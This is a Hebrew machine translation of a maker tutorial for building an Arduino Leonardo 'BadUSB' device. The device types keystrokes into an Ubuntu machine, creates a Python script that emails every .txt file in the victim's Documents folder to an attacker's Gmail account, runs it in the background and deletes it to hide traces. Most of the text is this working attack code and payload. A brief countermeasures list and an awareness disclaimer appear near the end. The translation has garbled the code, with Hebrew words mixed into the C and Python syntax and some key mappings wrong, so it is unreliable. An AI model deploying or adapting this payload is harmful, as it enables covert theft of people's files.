2025 מְחַבֵּר: John Day | [email protected]. שונה לאחרונה: 2025-01-23 14:46
בפרויקט זה אנו הולכים להשתמש בלאונרדו ארדואינו כדי לדמות התקפת USB אפשרית באמצעות HID (מכשיר ממשק humain).
יצרתי הדרכה זו לא כדי לעזור להאקרים אלא להראות לך כמה סכנות אמיתיות וכיצד להגן על עצמך מפני סכנות אלה. המכשיר הזה הוא לא מכשיר שניתן להשתמש בו בכל פלטפורמה להאקרים, הוא יותר הוכחת מושג לפרטי פרטים.
אנו הולכים ללמוד את הדברים הבאים:
- כיצד להשתמש בארדואינו לאונרדו לחיקוי מקלדת
- כיצד לקרוא נתונים מכרטיסי SD
- כיצד ליצור סקריפט פייתון הסורק קבצים ושולח אותם בדוא ל
- כיצד להגן על עצמך מפני התקני פריצת USB
שלב 1: חומרים
חלקים:
1. ארדואינו לאונרדו
2. קורא כרטיסי מיקרו USB
3. כרטיס SD של כמה GB
4. לחצן כמו זה (VCC, קרקע ואות)
5. כבלי מגשר נקבה-זכר ונקבה-נקבה
6. כבל מיקרו USB ל- USB
שלב 2: בניית המכשיר
לפני הוראת הבנייה בואו נסקור את עקרון העבודה:
Arduino leonardo יכול להתנהג כמו מכשיר ממשק אנושי (HID) ולכן יכול לחקות עכבר ומקלדת. אנו הולכים להשתמש בתכונה זו כדי לפתוח מסוף (ב- UBUNTU לינוקס) ולכתוב סקריפט קטן שיגשת לתיקיית /מסמכים בתוך תיקיית הבית של המשתמש להעתיק קבצי.txt לשם ולשלוח אותם בדוא ל למישהו. אם ברצונך לברר פרטים נוספים בדוק את השלב הבא.
מכיוון שמדובר במכשיר הדגמה הדברים פשוטים באמת, אנחנו לא הולכים להלחים שום דבר.
הוראות בנייה
לפני שנתחיל לבדוק את הקבצים המצורפים, צירפתי תרשימי פריצה וכל הקבצים הדרושים
1. הרכיבו את הרכיבים:
* חבר את כבל המיקרו USB בארדואינו
* חבר את מתג המפתח לארדואינו (מודול הארקה, vcc ויציאה ל- D8)
* חבר את קורא הכרטיסים לארדואינו (באמצעות כותרת ICSP). ל- Arduino leonardo אין כותרת ICSP המחוברת לפינים דיגיטליים, כך שתצטרך לחבר את קורא הכרטיסים לכותרת ICSP. אתה יכול למצוא כמה ציורים של ה- ICSP כאן: https://learn.sparkfun.com/tutorials/installing-an…. חבר את סיכת ה- SS לסיכה הדיגיטלית 10
2. קבל את קוד הארדואינו, תוכל לשבט את מאגר הארדואינים שלי ב- github: https://github.com/danionescu0/arduino וללכת לפרויקטים/keyboard_exploit או לקבל אותו מלמטה:
#כלול "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "שינה::"; String commandStartingPoint = "פקודה::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; הגדרת void () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("הכרטיס נכשל או לא קיים!"); לַחֲזוֹר; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("הועלה!"); עיכוב (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {קובץ dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("שם הקובץ שצוין אינו קיים בכרטיס SD, בדוק filenameOnCard!"); } קו מחרוזת; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (שורה); sendToKeyboard (שורה); } dataFile.close (); } void sendToKeyboard (קו מחרוזת) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (שורה); לַחֲזוֹר; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("טקסט:"); Serial.println (שורה); Keyboard.println (שורה); לחץ אנטר(); לַחֲזוֹר; } Serial.println ("פקודה:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); פקודת String = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("נמצאה פקודה:"); Serial.println (פקודה); Keyboard.press (getCommandCode (פקודה)); עיכוב (delayBetweenCommands); }} Keyboard.releaseAll (); עיכוב (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (קו מחרוזת) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("שינה עבור:"); Serial.println (sleepAmount); עיכוב (sleepAmount); } char getCommandCode (טקסט מחרוזת) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char char = textCharacters [0]; קוד = (טקסט == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: קוד; קוד = (טקסט == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: קוד; קוד = (טקסט == "KEY_LEFT_ALT")? KEY_LEFT_ALT: קוד; קוד = (טקסט == "KEY_UP_ARROW")? KEY_UP_ARROW: קוד; קוד = (טקסט == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: קוד; קוד = (טקסט == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: קוד; קוד = (טקסט == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: קוד; קוד = (טקסט == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: קוד; קוד = (טקסט == "KEY_BACKSPACE")? KEY_BACKSPACE: קוד; קוד = (טקסט == "KEY_TAB")? KEY_TAB: קוד; קוד = (טקסט == "KEY_RETURN")? KEY_RETURN: קוד; קוד = (טקסט == "KEY_ESC")? KEY_ESC: קוד; קוד = (טקסט == "KEY_INSERT")? KEY_INSERT: קוד; קוד = (טקסט == "KEY_DELETE")? KEY_DELETE: קוד; קוד = (טקסט == "KEY_PAGE_UP")? KEY_PAGE_UP: קוד; קוד = (טקסט == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: קוד; קוד = (טקסט == "KEY_HOME")? KEY_HOME: קוד; קוד = (טקסט == "KEY_END")? KEY_END: קוד; קוד = (טקסט == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: קוד; קוד = (טקסט == "KEY_F1")? KEY_F1: קוד; קוד = (טקסט == "KEY_F2")? KEY_F2: קוד; קוד = (טקסט == "KEY_F3")? KEY_F3: קוד; קוד = (טקסט == "KEY_F4")? KEY_F4: קוד; קוד = (טקסט == "KEY_F5")? KEY_F5: קוד; קוד = (טקסט == "KEY_F6")? KEY_F6: קוד; קוד = (טקסט == "KEY_F7")? KEY_F7: קוד; קוד = (טקסט == "KEY_F8")? KEY_F8: קוד; קוד = (טקסט == "KEY_F9")? KEY_F9: קוד; קוד = (טקסט == "KEY_F10")? KEY_F10: קוד; קוד = (טקסט == "KEY_F11")? KEY_F1: קוד; קוד = (טקסט == "KEY_F12")? KEY_F2: קוד;
קוד החזרה;
}
3. העלה את הקוד לארדואינו, הקפד לבחור קצב שידור של 9600, היציאה הטורית והארדואינו לאונרדו
4. עיצב את כרטיס ה- sd באמצעות FAT16 או FAT32
5. אם שיבטת את ריפו github מלמעלה, העתק את קובץ hack.txt בכרטיס, אם לא הקובץ מופיע להלן:
פקודה:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT יבוא smtplib import glob, os מ- os.path ייבוא הרחבה מ- email. MIMEM רב -יבוא MIMEMultipart מ- email. MIMEBase יבוא MIMEBase מהאימייל. ייבוא MIME טקסט MIM טקסט מהדוא"ל. כלי יבוא COMMASPACE, פורמט תאריך מקודדי ייבוא דוא"ל
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'מסמכים'
subject = body = 'קבצים מהמחשב שנפרץ'
header = 'אל: {0} n מאת: {1} n נושא: {2} n'.format (to_address, smtp_user, subject)
def sendMail (אל, נושא, טקסט, קבצים = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (טקסט)) לקובץ בקבצים: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (קובץ)) msg.attach (חלק)
שרת = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. ערוך את השורות הבאות:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'receiver_address'
והחלף בכתובות הדוא"ל שלך
7. הסר את הכרטיס והכנס אותו לתוך קורא כרטיסי הארדואינו
שלב 3: איך זה עובד בפרטים
כיצד תעבוד ההתקפה:
1. כאשר לוחצים על הכפתור, לאונרדו יקרא את כרטיס ה- sd באמצעות קורא כרטיסי sd. על הכרטיס יופיע קובץ מיוחד המכיל מפתחות ושילוב מקשים. שם הקובץ הוא "hack.txt".
הקובץ יכול להכיל טקסט גולמי והוא יעבור למקלדת בדיוק כפי שהוא.
כמו כן הוא יכול להכיל פקודות מיוחדות כמו "Sleep::" ו- "Command::".
שורה כמו:
שינה:: 200 פירושו שינה של 200 אלפיות השנייה
שורה כמו:
פקודה:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t פירושו לחיצה על ctrl שמאלה, לחיצה alt שמאלה, t לחיצה והכל משוחרר
אתה יכול לבדוק את כל המפתחות המיוחדים כאן:
2. לאונרדו יקרא שורה אחר שורה, ויפרש את הפקודות ויחקה את המקשים במקלדת. הקובץ "hack.txt" מכיל שילוב של מפתחות שעושה את הפעולות הבאות (עבור UBUNTU לינוקס):
א. פותח מסוף (CTRL + ALT + T)
ב. פותח קובץ פייתון ליצירה באמצעות vi (כותב "vi hack.py"
ג. כותב בתוכו סקריפט פייתון שאוסף את כל קבצי הטקסט בתוך תיקיית הבית של המסמכים ושולח אותם לכתובת gmail שצוין
ד. מריץ את הקובץ ברקע ("nohup python hack.py &")
ה. מוחק את הקובץ (rm -rf hack.py)
ו. סוגר את הטרמינל (ALT + F4)
כל העניין הזה פועל תוך כמה שניות ולא משאיר עקבות.
שיפורים ופתרון בעיות
* אולי תשימו לב שאחרי שאני פותח מסוף אני כותב את קובץ הפיתון. דרך טובה יותר לזה תהיה לארח אותו איפשהו ולהוריד אותו באמצעות הפקודה "wget some_url" ולאחר מכן לשנות את שמו ל- hack.py
* כמו כן נוכל להוריד או להריץ ניצול מוכן למערכת ההפעלה הממוקדת
* ניתן להוסיף wifi למודול, ולהעלות את הפריצות באמצעות WIFI
* אתה יכול להשתמש במיקרו ארדואינו (שהוא הרבה יותר קטן) ולהטמיע עליו קוד ניצול (כדי להקטין אותו)
מגבלות
1. מכיוון שלמכשיר המדומה (מקלדת ועכבר) אין משוב, איננו יודעים מה יקרה לאחר הוצאת פקודה שמשמעותה שעלינו להשתמש בעיכובים. לדוגמה, אני מוציא פקודה לפתיחת מסוף, אך אינני יודע מתי הוא יהיה פתוח בפועל, לכן עלי לציין עיכוב שרירותי על מנת להבטיח שהתווים שהוקלדו אחריהם לא יאבדו.
2. אנו עשויים להיתקל בבעיות הרשאה כמו אין גישה ליציאת ה- USB או הרשאה להתקין משהו
3. מהירות ההקלדה היא לא כל כך גדולה על לאונרדו
4. יעבוד רק על מערכת הפעלה ממוקדת (במקרה שלנו UBUNTU לינוקס)
בשלב הבא ננסה למצוא דרכים לנצל מגבלות אלה כדי למנוע פריצה מהמחשב שלנו
שלב 4: אמצעי נגד
1. השבתת יציאות USB
-עבור Windows אתה יכול לבדוק הדרכה זו:
2. התקני USB לרשימת ההיתרים:
- עבור חלונות:
2. נעל את המחשב כשאתה לא נמצא
3. אל תיכנס כשורש (דרוש סיסמאות להתקנת כל דבר)
4. שמור על עצמך מעודכן (עדכונים אוטומטיים מופעלים)
מוּמלָץ:
הדגמת קלטת אטמוספרי Arduino/ MS5611 GY63 GY86 הפגנה: 4 שלבים (עם תמונות)
מודד הקלטת האטמוספירה של Arduino/ MS5611 GY63 GY86: זהו באמת ברומטר/ מד גובה, אך תראה את הסיבה לכותרת על ידי התבוננות בסרטון. חיישן הלחץ MS5611, הנמצא על לוחות הפריצה של Arduino GY63 ו- GY86, מספק ביצועים מדהימים . ביום רגוע הוא ימדוד את
הדגמת מנוע חשמלי: 5 שלבים (עם תמונות)
הדגמת מנוע חשמלי: מנוע חשמלי זה מדגים את העקרונות הבסיסיים של אלקטרומגנטיות. הדגמה זו פשוטה לבנייה ולוקח רק סוף שבוע לעשות זאת. רשימת חלקים: מדפסת תלת מימד חיתוך לייזר חוט חשמלי חוט מגנט (1) מגנט קרמיקה נייר זכוכית בינוני (2) Corne
מקלדת מהירה ומלוכלכת (מקלדת ריקה): 3 שלבים
מקלדת מהירה ומלוכלכת (מקלדת ריקה): מקלדת Das היא שמה של המקלדת הפופולרית ביותר ללא כתובות על המקשים (מקלדת ריקה). מקלדת Das נמכרת במחיר של 89.95 $. מדריך זה ינחה אותך אם כי תכין לבד עם כל מקלדת ישנה שיש לך בסביבה
נתב ביתי אלחוטי עם מד ניצול אנלוגי: 5 שלבים (עם תמונות)
נתב ביתי אלחוטי עם מד ניצול אנלוגי: גדלתי בסירות ובסביבתן ועשיתי נולים חיווט ולוחות בקרה, ויש לי אוסף של מדידים & חוגות שבדרך כלל נמצאו מחוברות למנועי דיזל ימיים קטנים. כיום אני עובד כמעצב בניין ממשקים לרשת
ניקוי מקלדת אלומיניום של אפל . או כל מקלדת אחרת בעלת מגע רך: 5 שלבים
ניקיון מקלדת אלומיניום של אפל …. או כל מקלדת אחרת בעלת מגע רך: עד כמה שאתה או אני יכולים לנסות לשמור על מקלדות תפוחי האלומיניום שלנו, הן הופכות מלוכלכות לאחר שנה בערך. המדריך הזה הוא לעזור לך לנקות אותו. היזהר, כי אינני אחראי אם המקלדת שלך תישבר תוך כדי פעולה זו … SUCKS F